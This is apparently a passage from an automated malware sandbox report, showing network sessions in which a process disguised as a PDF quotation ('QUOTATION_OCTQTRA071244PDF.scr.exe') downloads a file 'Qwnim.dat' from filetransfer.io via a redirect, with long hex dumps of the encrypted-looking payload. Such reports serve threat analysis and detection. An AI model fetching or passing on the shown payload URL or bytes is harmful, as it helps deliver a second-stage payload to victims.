2024-10-04 09:25:06 UTC	1369	IN	Data Raw: 28 3e 86 09 e8 43 a0 a4 78 be 41 d8 01 2a 36 d0 c2 08 ec 6f f5 1f a0 cd d4 e4 ae 5b fb b3 85 bf 70 0b 96 a8 3c 9a 0e cd b1 4c 33 79 61 23 ca 18 ee 7b 2c 1d df 9a 4f d9 8e 92 e2 66 2e 92 b1 cf 1b 88 6f 0f c3 8d bb ee e2 e9 76 0a 9c c4 53 f3 72 a2 3d 30 f6 ac 43 50 6c 9f a1 31 69 79 9a 0f 5d e5 d6 4a 82 5e 90 3a ab 6a 0c 66 5f 65 f6 8f 7a 50 55 b2 60 fa fc 72 aa c2 ae 3e f9 5f 4a 89 b6 80 51 3d 81 81 41 61 d9 5e 3b 04 d0 b3 f2 42 6b c1 12 fa 4f 94 8b 11 85 4b b8 b3 37 1a f5 aa 92 c4 8e 0e 71 78 04 33 65 54 f1 be 55 65 ca d8 0d 39 a3 df 86 f1 11 ad 98 99 e0 17 16 7c 6e c2 b7 7a 25 cb e0 d3 75 90 ed f3 86 21 7e 03 51 b5 cb c5 7c 74 3a 2d d6 ad f8 7b b2 d5 ba 84 5a ff 42 c0 77 e7 68 6d 6f dc c6 59 87 44 07 cb 34 d4 a2 48 a5 d9 f3 53 66 4f 95 61 77 2a ba b0 37 Data Ascii: (>CxA6o[p<L3ya#{,Of.ovSr=0CPl1iy]J^:jf_ezPU`r>_JQ=Aa^;BkOK7qx3eTUe9\|nz%u!~Q\|t:-{ZBwhmoYD4HSfOaw7
2024-10-04 09:25:06 UTC	1369	IN	Data Raw: da 56 5d 1c 30 5d d4 a8 71 04 f4 f4 99 09 60 d1 7a ab e0 9f d9 88 d0 ad 46 84 e3 18 f2 6e 37 8f 24 49 45 d5 43 3f d8 3d 01 d6 48 d8 f9 63 c7 89 87 2d d7 15 3b a5 dc e5 58 1e 10 8d 9c 03 ad ac 0c a8 d1 84 07 c0 3b ab 10 ae ee f4 24 01 6f bc df 4d 85 64 89 37 8c aa df 56 b5 f8 07 6b df 2d e0 51 1a fd 88 5e ba d2 39 d4 18 0f aa 27 2f ce 84 68 92 1c 45 c4 fd ab e0 8d bc af bf ba 1d 43 7b 28 b3 4e 70 ff f7 7f 96 fe db 60 bd 79 db 09 bc 30 36 98 b9 11 f1 c7 11 48 a1 9a d7 c7 8c 82 90 ce 21 1d b0 72 b0 db 11 3e 3c 11 e5 33 b9 8e 3b cd dd c9 fe 52 1b 48 9d 5e 51 8a e8 5b 59 ff 91 2f a8 84 9a 29 d9 2c 35 b6 5e f2 59 64 f4 e9 ff 60 ba a0 28 65 69 6e a4 2d 39 2c d6 eb 3c ac 50 e4 7b 77 d8 1f 87 0d 90 67 a9 eb 8a c9 19 f1 71 e4 d3 a4 5f d9 10 4f 24 a8 83 9b 33 f6 c6 Data Ascii: V]0]q`zFn7$IEC?=Hc-;X;$oMd7Vk-Q^9'/hEC{(Np`y06H!r><3;RH^Q[Y/),5^Yd`(ein-9,<P{wgq_O$3
2024-10-04 09:25:06 UTC	1369	IN	Data Raw: 53 66 41 70 68 6c f0 f3 73 f2 c9 a7 cb 1e f6 25 44 47 df 24 f4 c0 9e c0 55 42 10 65 0d a1 a4 45 ca 58 d1 94 fb c6 61 c6 60 5e 48 1c 10 19 d7 94 bf 23 a2 4f d5 a9 15 2c 28 0b d9 c3 14 6b c8 aa 85 f5 a9 41 94 ec 62 fc ce b2 78 6e 66 99 47 00 15 71 01 62 eb 03 2d ef a0 aa 23 d6 f2 e0 65 44 d9 10 98 78 7b c7 b7 f6 16 3c 35 42 ee f8 a9 f3 35 95 4d dc 9c 10 38 a8 bf 44 7c 4b f0 48 2a 3f 5c 5b b4 4d 5f d5 3c 97 61 bd 8d 2f 11 93 73 d1 b3 1d b4 0e bd 7d c0 47 b0 16 0f 5f 2b 2d 92 db 05 4a 44 47 05 df a6 45 0b 86 32 89 a7 7d 36 e1 54 42 a7 12 f1 dc 59 e5 da 31 2a cf 54 e7 f0 a4 67 38 42 1e 5b 82 03 cd 51 30 e2 e4 86 e8 f4 33 77 bd 0e 94 d5 21 66 76 01 7b 14 3e ec 0b e1 f7 be f2 f5 4f bc cd d5 89 dc b4 89 ae 82 57 e4 ab 0d 1c 79 85 b9 ac 65 9c 00 30 9f 99 6e 6d 1b Data Ascii: SfAphls%DG$UBeEXa`^H#O,(kAbxnfGqb-#eDx{<5B5M8D\|KH?\[M_<a/s}G_+-JDGE2}6TBY1Tg8B[Q03w!fv{>OWye0nm
2024-10-04 09:25:06 UTC	1369	IN	Data Raw: 76 25 0b 95 48 9e 19 eb d6 3e 1a 14 da fe 07 fc 1f 27 3c cf 78 07 8e 76 6a 4b be df 40 89 ef b3 0a 9b 7a e2 c5 ff ef 56 a5 ca fb 9c cd e6 9e df 85 9f 85 f2 10 e8 77 a1 ea 68 9c 75 44 fa 8b ae 5c 00 eb 5f 5f 3e 7d 0d b6 8c 00 43 78 cc e2 87 05 a4 2f 51 11 18 13 07 39 f0 59 40 c9 f4 86 1b 7e 62 2d 36 17 dc 45 eb 0e 10 f4 4a 30 c8 3e d1 fe 6f 1a 6c 40 33 a7 5e 2c 6e 65 c0 9f 4d 9c 90 98 38 22 99 6a f2 15 d0 ac 18 76 ef 50 4b 44 08 d5 e9 e0 c3 3f 45 13 25 4d 0c be da ab 57 43 ef d5 d8 a2 c8 79 43 c7 3d cf 01 26 2e af f3 e9 87 18 4c 5a 49 ff e2 92 eb 54 0a 76 a6 0f 0e 4c 8f 85 eb 23 5d 53 df da 96 41 61 b0 c7 20 7b 4f 53 c0 1a 0a ed bf 58 cb 6b ca a7 d0 dd 4f 83 78 7c be f5 13 00 1f b6 9c 17 b4 a7 58 51 55 99 d4 4a 92 56 68 66 e1 33 99 cb dc a6 02 82 c1 4b 16 Data Ascii: v%H>'<xvjK@zVwhuD\__>}Cx/Q9Y@~b-6EJ0>ol@3^,neM8"jvPKD?E%MWCyC=&.LZITvL#]SAa {OSXkOx\|XQUJVhf3K
2024-10-04 09:25:06 UTC	1369	IN	Data Raw: e2 35 ed 46 a7 2c 65 7a 17 20 20 ff 08 81 c4 ea c3 02 b1 68 f8 df ab 4d 75 e7 42 f6 9d 33 ec 2c 27 55 4b 87 c1 7a f1 20 cb 81 33 ae f8 21 aa 4b 71 0c 82 41 d4 27 35 0b b7 6a 47 59 c6 3e 63 da de 5a b8 fd a3 37 d4 cf 8e 78 93 93 8a a1 1d a9 b8 19 4c bc a6 f1 af 09 d0 51 7c 7d f5 7c 10 d7 3a eb e1 36 b1 4f 81 eb e8 1a 9c c2 6b c5 72 f6 ba cf 43 54 b8 1a d1 b9 ac 78 77 80 4c cc 61 35 93 7c c0 63 27 6a 72 c1 c1 0b 58 fa 39 27 3a 68 fd 6f 19 b9 9b be 10 44 21 0b 50 07 c3 96 c7 f7 c3 8b 9f 76 5d c6 7e 28 77 16 18 ba fb 09 76 a8 c8 d2 ec c8 c9 9b 20 2d 7a ca 96 47 78 24 a6 58 ab b9 96 e4 0b 83 1a 5e 52 43 2b da 64 e1 6c d9 db 1a 1b 8a 5e 85 bb 93 e2 04 f6 0e cc a4 9c 80 38 bb 98 94 13 be 92 c4 55 aa a4 59 50 40 c9 38 b5 a2 65 ad bd e1 ab 9d 0b a9 2f 55 f8 80 ec Data Ascii: 5F,ez hMuB3,'UKz 3!KqA'5jGY>cZ7xLQ\|}\|:6OkrCTxwLa5\|c'jrX9':hoD!Pv]~(wv -zGx$X^RC+dl^8UYP@8e/U
2024-10-04 09:25:06 UTC	1369	IN	Data Raw: cf e3 34 fd 62 b6 19 07 14 4a c7 9d 49 f2 ae 2f 6c 12 22 91 1a a9 ff 84 12 34 6f a3 80 de 66 d8 36 49 42 e3 98 65 bb db 5c f1 00 98 89 d0 1a 40 30 2a d6 f2 5a 79 1b 44 a6 05 4d bc 6b 19 31 9a 1a 98 54 a3 27 33 50 3f 40 f4 d3 a7 37 14 a2 71 43 4a d8 40 13 f0 0e c4 ab cd 20 2a 84 37 98 05 42 ee 63 14 b5 1a f4 7b 57 84 7e c6 fc b5 27 e8 34 fa 49 a4 41 d8 5d a6 2e a8 cc c9 70 1d b0 81 ea b8 7c 67 e8 1d ed aa 0a d5 f4 49 8e 81 de f4 35 71 d5 54 31 c3 6a 61 bf 0a 9b b3 be b7 34 4b c4 1d 16 1a b2 5f 29 52 98 ac cf 93 4a ae 09 dc 07 c3 b2 24 af ba 88 61 03 68 b7 6f a9 29 e9 99 bc 53 1e 8e 98 29 c9 62 79 ab 4c f6 2f 58 72 c9 89 29 18 f4 c9 98 17 e5 42 71 10 60 f3 71 04 32 37 04 8d a6 fc 79 3e 41 f1 57 88 d0 25 8f 02 cd a8 ab f7 03 4c 49 36 f1 16 6d cc ff 86 8e ee Data Ascii: 4bJI/l"4of6IBe\@0ZyDMk1T'3P?@7qCJ@ 7Bc{W~'4IA].p\|gI5qT1ja4K_)RJ$aho)S)byL/Xr)Bq`q27y>AW%LI6m
2024-10-04 09:25:06 UTC	1369	IN	Data Raw: 39 90 b4 68 7b 14 72 02 24 0c 4b 36 13 b0 06 3e f3 f7 da 1d 71 a8 fe c6 0b cb 8c b8 ab 2f 68 37 81 49 b6 5b 02 b0 2b f1 88 7c 26 30 b1 89 1d db d8 ed d7 67 f3 b5 80 d1 e3 fa 12 7c 6e 5d f3 89 42 67 cf e9 98 13 87 c0 41 b1 c9 62 de 7c a2 97 81 87 a4 fb 39 4d 95 05 ef fe fa de cb 62 f1 16 eb 9e 33 54 d2 36 0a c4 65 04 04 dc fc 4b 7e dd 93 55 21 ba c3 6a 92 a8 f9 58 dc 42 2e 60 88 ec 1a c9 3c 86 5b 2c 6f ea 81 16 8a fd bc ed 7c a4 d4 7b ad a9 f0 3e ad 9c 25 0f 95 2c 3e ea a0 b1 2d 42 35 a2 ac d0 e7 c2 47 10 36 8e 5b 75 fc 7b f2 26 d2 68 54 8e 65 c8 30 bd 79 ec f6 5a bb b3 cd 44 0c 9e 9d c2 8a 1c 51 29 09 19 9a a3 a7 7f 0f f9 86 b1 eb 7f bd f4 74 bc 86 8e e6 c4 89 60 da 52 15 d6 80 a1 3f fa 3c 81 f0 23 16 fa 62 71 24 1d 4a 22 59 e2 f5 8c db c6 c1 be cb 4d 7e Data Ascii: 9h{r$K6>q/h7I[+\|&0g\|n]BgAb\|9Mb3T6eK~U!jXB.`<[,o\|{>%,>-B5G6[u{&hTe0yZDQ)t`R?<#bq$J"YM~
2024-10-04 09:25:06 UTC	1369	IN	Data Raw: 2a 14 bb e9 7c 22 c5 0b fd ee a4 f8 d7 8e 0f a3 bf ed e1 8a b3 9b 05 32 2f f3 ad 94 4a 93 3a 47 ab b8 9c 20 f4 28 af ab fd 2e 44 88 57 df 62 2c 6a 98 05 9a 95 70 ce 92 eb b8 a9 38 41 93 35 ac 6d 6c be bd af 66 7c 51 2a ec d8 99 dc 1b aa f5 7e 8b 49 8b fb 8d 70 b8 0e 06 38 75 77 cf d1 45 20 47 b6 80 6e 5e ed 88 82 b5 de d8 72 3d 2e ec f6 43 67 0a 1f 63 05 de bf c8 10 04 13 71 1e f6 c6 0d a1 37 1f 26 60 4d bb 50 c0 99 11 f8 0b 09 1b d9 05 8b 2d 36 de 09 91 30 76 2b 74 55 b6 8d b6 c7 6d a7 92 79 f9 c6 c5 d1 9f 49 4d 96 a5 35 b2 07 78 ec a4 f3 81 c7 12 6a 7b b7 9c cf b2 9d 3b 03 00 5c 3a 45 87 cd 9e 19 92 f7 20 61 a8 c4 c2 b2 96 f9 db 98 59 ad d8 2b 9b c9 c3 b4 c1 b5 df 97 ad 90 4b ce bd 40 1e 7c 59 93 96 5c 9d 5d 53 fd 48 f9 33 cb 03 d7 0e 33 c6 87 6d 91 3b Data Ascii: \|"2/J:G (.DWb,jp8A5mlf\|Q~Ip8uwE Gn^r=.Cgcq7&`MP-60v+tUmyIM5xj{;\:E aY+K@\|Y\]SH33m;
2024-10-04 09:25:06 UTC	1369	IN	Data Raw: 93 2b ed bc 2e 24 c7 40 b0 47 04 99 99 f2 66 45 c1 97 56 e2 bf 12 1b 07 68 d5 7d 77 f6 7e 20 7d ce 35 8f 0b a5 1b fb 09 82 b4 73 10 bf d5 4a 22 03 55 b2 2a 49 57 86 f9 82 9c 62 c5 3c ad 00 ad 58 46 e9 aa 7c 2a 7d a3 79 6c 14 c7 9d fc 43 60 21 f0 5b ad 22 b9 5e b4 6b d1 e9 6b 75 90 d1 6a 44 ef 1b 09 47 e8 77 2e 8e 5f 66 8a 81 53 ca 73 03 2d cf bc ff bb c0 2b b4 20 54 b4 30 a9 b1 96 c1 fe ce 95 aa 30 a8 81 7a 00 a5 d1 c1 ed 8e 7a 93 84 f9 fc e2 f9 cd 05 de fb ea 44 c2 88 d0 46 b8 ed a3 b8 2c 2c f6 97 e3 e9 04 94 61 1e e4 17 d2 18 2d 3b d7 fa 4d 52 23 e5 98 ed 0e bd 41 11 23 0f 2c ed db 59 ee 6f 8d 5c 3c 91 f5 3e 83 ba 08 a2 a6 75 c4 06 44 b8 fd bb 7c 84 d4 8b 6b 30 91 e8 38 e1 f1 a0 08 7d 45 06 02 51 3f 1f b6 52 73 e5 45 21 ab 94 4c ee 1a e3 b8 04 73 9d 1e Data Ascii: +.$@GfEVh}w~ }5sJ"UIWb<XF\|}ylC`!["^kkujDGw._fSs-+ T00zzDF,,a-;MR#A#,Yo\<>uD\|k08}EQ?RsE!Ls
2024-10-04 09:25:06 UTC	1369	IN	Data Raw: c7 08 7f 1d e7 c2 7f 01 79 7e 82 5e b8 9b 5a c3 55 fa 83 be c7 78 41 57 bc 23 02 5d ee 12 c0 43 0e 3c 09 83 18 a6 68 09 0f 5b c3 23 68 67 43 f0 1a 20 3f 76 a3 d4 d1 f4 2a 8b 09 dd 20 a1 93 0e 81 8c e5 aa 59 75 8a 3f 49 ba b5 31 b3 d0 63 14 06 e1 2f fe 0c 5c 73 e5 12 69 02 8e 8f 31 f4 2f 2b e0 4e 1a 38 68 2c 1f 79 60 65 21 9b 63 2d 77 b0 73 2d 63 63 88 d5 09 65 d7 c2 03 2c df 41 2c 26 a5 ee 71 b2 24 7b 7c 23 8a 07 11 ac 84 5c 4c 5e db 7e 0b ee 7e f6 62 57 c6 13 6f 74 60 2a 45 4f 9a 2e 31 15 2b c1 93 b8 5b 02 e8 97 d4 25 e7 4d ef af 09 93 cc a2 7e e3 4f 28 1e 10 57 48 5c bb 89 cd 20 61 5a d8 a8 61 ad 7a b4 ae 2b e5 d0 80 3c 99 a2 1f 48 66 20 cd 50 42 83 f5 a5 34 40 67 db 8a 89 cb 90 dc e3 56 11 87 da 91 1c 1a a1 f7 ce dd 0c d8 59 7b bf 05 9a 1e f6 4f 44 52 Data Ascii: y~^ZUxAW#]C<h[#hgC ?v* Yu?I1c/\si1/+N8h,y`e!c-ws-cce,A,&q${\|#\L^~~bWot`*EO.1+[%M~O(WH\ aZaz+<Hf PB4@gVY{ODR

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.4	50216	188.114.96.3	443	7484	C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-04 09:25:18 UTC	95	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io Connection: Keep-Alive
2024-10-04 09:25:18 UTC	1068	IN	HTTP/1.1 302 Found Date: Fri, 04 Oct 2024 09:25:18 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close X-Powered-By: Nette Framework 3 X-Frame-Options: SAMEORIGIN Set-Cookie: nette-samesite=1; path=/; SameSite=Strict; HttpOnly Set-Cookie: PHPSESSID=82sun41kdttml8krakai9g4frv; expires=Fri, 18-Oct-2024 09:25:18 GMT; Max-Age=1209600; path=/; SameSite=Lax; secure; HttpOnly Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Vary: X-Requested-With Location: https://s23.filetransfer.io/storage/download/9QRVQG14oBWg cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=87SCH6dlb8eerhgGtbcpbbmtK5mdupc2aum46dBe46UXTNgaCeF%2FXBkAVpNnsyfc%2FolYp0%2BmCwvxlYRfUfYHKKbiYgUkQXREjWgFza9rE1DnY7ot4mW%2F1a7z6t8YwDPcfs4%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd41fb4eaf417bd-EWR
2024-10-04 09:25:18 UTC	134	IN	Data Raw: 38 30 0d 0a 3c 68 31 3e 52 65 64 69 72 65 63 74 3c 2f 68 31 3e 0a 0a 3c 70 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 32 33 2e 66 69 6c 65 74 72 61 6e 73 66 65 72 2e 69 6f 2f 73 74 6f 72 61 67 65 2f 64 6f 77 6e 6c 6f 61 64 2f 39 51 52 56 51 47 31 34 6f 42 57 67 22 3e 50 6c 65 61 73 65 20 63 6c 69 63 6b 20 68 65 72 65 20 74 6f 20 63 6f 6e 74 69 6e 75 65 3c 2f 61 3e 2e 3c 2f 70 3e 0d 0a Data Ascii: 80<h1>Redirect</h1><p><a href="https://s23.filetransfer.io/storage/download/9QRVQG14oBWg">Please click here to continue</a>.</p>
2024-10-04 09:25:18 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.4	50217	188.114.97.3	443	7484	C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-04 09:25:19 UTC	98	OUT	GET /storage/download/9QRVQG14oBWg HTTP/1.1 Host: s23.filetransfer.io Connection: Keep-Alive
2024-10-04 09:25:20 UTC	1020	IN	HTTP/1.1 200 OK Date: Fri, 04 Oct 2024 09:25:20 GMT Content-Type: application/octet-stream Content-Length: 930824 Connection: close Last-Modified: Thu, 03 Oct 2024 06:02:30 GMT Set-Cookie: nette-samesite=1; path=/; SameSite=Strict; HttpOnly Set-Cookie: PHPSESSID=17b6a780d96519db35499aaedc4f6a4b; expires=Fri, 18-Oct-2024 09:25:19 GMT; Max-Age=1209600; path=/; SameSite=Lax; secure; HttpOnly Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Content-Disposition: attachment; filename="Qwnim.dat" Accept-Ranges: bytes Accept-Ranges: bytes ETag: "66fe3376-e3408" CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=5E0mM%2BJt0R3vt6g3JtsJq6P0l6bl7i3iC7r2MJQ4raVxqQ889VazSp0AjSJ7EroGlO2Ut1%2F81sFP2yVnBTo%2BKX3bWi2XpbSO2FiZRfADv6tpTJVpR34e14Rj2DyqHBDL9p4WkA9r"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cd41fbcf911c3ff-EWR
2024-10-04 09:25:20 UTC	349	IN	Data Raw: 28 3e 86 09 e8 43 a0 a4 78 be 41 d8 01 2a 36 d0 c2 08 ec 6f f5 1f a0 cd d4 e4 ae 5b fb b3 85 bf 70 0b 96 a8 3c 9a 0e cd b1 4c 33 79 61 23 ca 18 ee 7b 2c 1d df 9a 4f d9 8e 92 e2 66 2e 92 b1 cf 1b 88 6f 0f c3 8d bb ee e2 e9 76 0a 9c c4 53 f3 72 a2 3d 30 f6 ac 43 50 6c 9f a1 31 69 79 9a 0f 5d e5 d6 4a 82 5e 90 3a ab 6a 0c 66 5f 65 f6 8f 7a 50 55 b2 60 fa fc 72 aa c2 ae 3e f9 5f 4a 89 b6 80 51 3d 81 81 41 61 d9 5e 3b 04 d0 b3 f2 42 6b c1 12 fa 4f 94 8b 11 85 4b b8 b3 37 1a f5 aa 92 c4 8e 0e 71 78 04 33 65 54 f1 be 55 65 ca d8 0d 39 a3 df 86 f1 11 ad 98 99 e0 17 16 7c 6e c2 b7 7a 25 cb e0 d3 75 90 ed f3 86 21 7e 03 51 b5 cb c5 7c 74 3a 2d d6 ad f8 7b b2 d5 ba 84 5a ff 42 c0 77 e7 68 6d 6f dc c6 59 87 44 07 cb 34 d4 a2 48 a5 d9 f3 53 66 4f 95 61 77 2a ba b0 37 Data Ascii: (>CxA6o[p<L3ya#{,Of.ovSr=0CPl1iy]J^:jf_ezPU`r>_JQ=Aa^;BkOK7qx3eTUe9\|nz%u!~Q\|t:-{ZBwhmoYD4HSfOaw7
2024-10-04 09:25:20 UTC	1369	IN	Data Raw: 67 dd 24 29 55 60 2b e2 b5 8f ef 43 4a 45 ea 5b 7c 5b 96 a6 d9 e9 81 eb ce 96 5c 2b c6 e0 97 3b d7 e4 9b f3 f9 f1 49 2e 47 dd 61 f4 1a e4 c3 87 50 e4 a5 94 a3 61 be 91 69 36 f3 5c d9 b3 e0 17 61 be ce 62 88 a6 af f5 fd 74 e3 8e 68 70 ab 23 0a 45 02 5b 08 e8 0d 4b 48 83 1e ce 83 6a a7 60 4e 10 15 34 25 52 c1 23 81 82 86 d9 41 66 09 e8 97 de 38 bc 92 f0 64 49 8e 27 1a 73 7e 41 42 13 b9 2c 85 db 73 f7 18 f0 be a1 b3 ce dc d2 a9 8a b6 c2 d7 a9 b2 2b 89 1d 2d 73 c5 ec 51 7d e1 1d 4b 28 58 63 19 09 9f d4 87 07 39 06 0e ad 9e 80 7f 6c 5c 3a 25 e5 16 cf b4 46 1c f5 52 36 44 03 0b 91 a6 c3 e3 37 f9 73 73 d4 cc be d5 bd c8 25 28 55 b1 98 2c 6d b8 9f 06 35 c4 0c fb 3f bf 4d 28 3c 17 f5 5d 26 43 34 09 c3 38 87 63 53 38 43 b9 d9 45 d6 70 07 11 dc 9b 6a da 17 5e aa 6e Data Ascii: g$)U`+CJE[\|[\+;I.GaPai6\abthp#E[KHj`N4%R#Af8dI's~AB,s+-sQ}K(Xc9l\:%FR6D7ss%(U,m5?M(<]&C48cS8CEpj^n
2024-10-04 09:25:20 UTC	1369	IN	Data Raw: 38 26 de fa 78 94 47 1b a8 1f 3e f8 7b c8 37 b6 c0 75 67 53 44 e9 b2 47 1f 92 7e dc a9 9a 03 c5 c2 8b fd 6c 58 95 6b c7 fe a7 f5 52 00 2a 86 0f 21 83 bf 58 63 b9 f2 0b 50 ee 0a 05 e6 ca 9b 87 5a aa f7 90 9a 19 85 56 a2 fd 42 44 4d 78 6e e8 43 ef 30 d1 60 fb 0e 7a b6 30 25 f3 fa 13 fb 85 2a 72 d5 df ab 1f ae 8c 8f 8b 1e 19 16 ed 5b bf 79 7a 79 42 c4 5b 70 1a be e6 93 79 1c 9b 46 54 89 66 5c 11 bd 7f ac 07 5c 37 3e 81 3a 62 36 ac f5 81 06 6c 91 b6 e9 55 01 cc 33 42 ab 65 66 49 b8 cc d9 3f c8 b8 08 4d eb 33 68 7a 42 ff 72 61 4e 3f aa 09 32 b5 60 d4 7a ab 1b d0 80 5e c6 c9 57 40 8d cf 91 cd eb 79 26 8e e8 b6 22 90 0b 62 4a 2e 14 b3 68 e5 16 51 a9 97 b5 30 68 a0 df 11 c1 b5 9e 4a b2 1d b5 ad 7a 4e 04 64 f4 c7 84 ec fb b4 a7 94 1f d6 78 a7 c6 cb cb 4b d3 60 15 Data Ascii: 8&xG>{7ugSDG~lXkR!XcPZVBDMxnC0`z0%r[yzyB[pyFTf\\7>:b6lU3BefI?M3hzBraN?2`z^W@y&"bJ.hQ0hJzNdxK`
2024-10-04 09:25:20 UTC	1369	IN	Data Raw: 26 c4 ae b4 07 4a 11 c2 3d d3 cb 43 b8 85 71 2a 7f 02 48 e5 f2 3c 1d 0e 33 1a 0f 0d c8 c5 ec 42 6f 2b f7 0b c2 5b 14 d2 9d 6c 8f 67 72 ea 25 46 30 a7 82 8f 4d 08 e0 30 cc 25 48 66 15 c2 23 bd 05 5f 12 26 90 de e2 4f 3f cc 74 bc 05 d7 c1 20 1f 7a d7 a7 c6 ea 27 14 34 45 66 7d 63 8b 32 30 95 f2 0c 2b 5d a7 da 33 b3 86 c1 83 0b d6 65 0d e5 43 c6 4d b8 15 1c ef 47 07 ca b9 e7 75 fa b2 4c d3 8f 79 f4 d7 cb 87 25 02 62 2a f3 dc d4 2e a4 5a bd fe 96 b9 16 a6 4a c2 af f5 ff ff ef c2 36 75 e0 ff b3 c4 b3 66 ec eb e4 44 55 2d 1a c4 11 0b 5d 71 0e 7b 8c ef 13 d4 ec fc 7a 35 96 70 af e9 57 de ae 36 d1 67 f8 ff 6b 25 f4 b6 b3 4a ac 6f c3 c4 69 40 71 71 cb f7 33 2c dd dc d3 04 7b d2 73 ee 7a a1 e9 79 44 8d ee 27 59 11 fe 46 85 4c 66 bc 05 25 80 3c e7 d5 d9 e7 5f d6 e2 Data Ascii: &J=CqH<3Bo+[lgr%F0M0%Hf#_&O?t z'4Ef}c20+]3eCMGuLy%b.ZJ6ufDU-]q{z5pW6gk%Joi@qq3,{szyD'YFLf%<_
2024-10-04 09:25:20 UTC	1369	IN	Data Raw: 21 51 15 05 3d 35 3d 5c a7 50 81 19 7e db 8f 9f 3d e6 fa 96 da 62 6f c6 17 19 93 db 8e 1a 26 76 91 81 ca 74 bb 8e 6d e0 80 90 c6 6b 66 de 8b d6 5a cb 1d aa c5 96 01 99 85 e1 0c 4e f5 f0 38 43 78 70 f4 76 7c 6a 68 1f ed 65 5a c0 cf ab 30 9d 15 50 4e b5 f1 74 bb 9b 08 96 61 6b 89 1d a0 05 34 e6 d6 d7 45 3a aa 13 a7 b0 51 57 4e 9a de 8c 51 c4 c7 3b 0c 42 9d 50 00 11 37 68 fd a9 81 d3 e9 52 2f 59 35 fe 97 43 14 6d cb 53 18 c3 aa cc 4b c3 d4 ef 4a 87 1e 6d 71 a8 de dd 7b 78 06 d5 6b 9b 34 9c 86 2d 3f 0e e9 80 4d 6b e7 4e 86 16 a9 e6 ee 1b f2 f7 de 0e aa c4 f6 51 1b 94 81 16 29 14 42 b9 4f 49 15 2b 6c bc 6f 2a e3 8f 82 0e a6 58 7e 56 d6 d0 16 af 1b 6f 45 fd 10 2f 5c 72 c2 c7 d0 6a 4e 1c d6 8d 3c d0 bf a2 42 85 62 96 53 55 b1 a9 af 98 12 50 90 a8 e0 a7 16 03 0d Data Ascii: !Q=5=\P~=bo&vtmkfZN8Cxpv\|jheZ0PNtak4E:QWNQ;BP7hR/Y5CmSKJmq{xk4-?MkNQ)BOI+lo*X~VoE/\rjN<BbSUP
2024-10-04 09:25:20 UTC	1369	IN	Data Raw: 0b a8 96 cf 42 34 73 38 d3 b5 0f ea ba af 14 9e 3d 75 76 b6 c3 13 1d 18 a5 4d 50 25 0d 9f 2d 96 2e c7 88 74 43 bf 3a 3e cd fc 00 8a 82 e1 6f 97 da 50 04 36 6e 3e 3b cf 45 b2 7a 08 fc db 13 cd 80 18 9b 7b 1e 4f 38 28 3f 8f a0 90 e2 86 d9 c4 6e 97 e9 4b 4c cb 2d 7b 30 b4 f5 e9 78 33 cb 9c 10 d8 48 84 74 c8 9b 55 a3 7d 80 15 20 54 d8 33 7c 97 75 bd 53 28 c7 38 0e 51 17 11 7e ab 1b 7b 89 88 39 79 18 b8 e0 29 92 fd da 00 85 5c ae d5 8b a0 2d 49 9d 72 20 e6 b8 17 ab ad 24 8b 69 e0 2f d2 29 c3 db 88 ed 7d e8 39 76 8e 14 bc 51 c0 4b 8d 32 9c 7f 03 ee f9 ae 8f 74 c3 e7 94 74 9d 7c 6e 2b b2 97 a9 a2 af 9e 39 52 8a 07 6b 99 5a 8d 05 0a 73 9f 6f ec 4b d1 66 6e e1 4d 9f 55 57 1b 7f fb ac a7 0e d4 25 b2 da 59 6a 4d 26 a9 0a 7c 71 4e 8c 75 5b 28 4f da ae f7 9a 29 50 e5 Data Ascii: B4s8=uvMP%-.tC:>oP6n>;Ez{O8(?nKL-{0x3HtU} T3\|uS(8Q~{9y)\-Ir $i/)}9vQK2tt\|n+9RkZsoKfnMUW%YjM&\|qNu[(O)P
2024-10-04 09:25:20 UTC	1369	IN	Data Raw: 0d 35 dd 04 d8 f5 98 53 09 2d de 64 36 f6 77 ee 33 4b f6 75 bb 68 40 9d 33 c8 b3 b9 b8 57 ec 36 71 50 53 cd 85 93 4b 2a ea ca 5f c1 d5 99 a0 1f d8 37 1a 06 5a f4 04 26 08 c9 92 51 d1 33 84 cc ca 61 8d 6b 98 c1 9f a1 af 23 f0 6a 78 10 da a3 22 d8 72 66 ad 86 7b 67 e5 3a b2 6c 49 89 6a 34 f9 a6 10 19 8a 96 94 4c eb b9 99 83 b7 54 90 10 8c 13 dc 48 dc 69 a5 44 31 0a 06 82 06 16 20 0a 24 2d 6c 56 0d 00 7a a9 5f f3 37 a3 45 58 ee 12 c6 45 da 1f ee 35 a9 54 4b a5 f5 9d 3d 72 3a 27 05 f0 ff 90 d6 b5 2a 93 9b 7a 2d f2 0d 5e 88 d2 3a c3 73 d6 1b 78 ef 45 ff b1 66 4f 63 20 ee 7b a9 0f 58 1a 71 12 e0 e6 e6 48 06 ec 72 1a fd 93 dd 87 f9 95 ff 81 d8 54 d1 d6 cf 29 df 46 57 a4 ec c0 f5 4e 55 37 b7 7d cd f8 67 9b 74 d0 a9 02 3c 96 2b e8 56 09 13 ef e2 73 4a 09 0d a1 a9 Data Ascii: 5S-d6w3Kuh@3W6qPSK_7Z&Q3ak#jx"rf{g:lIj4LTHiD1 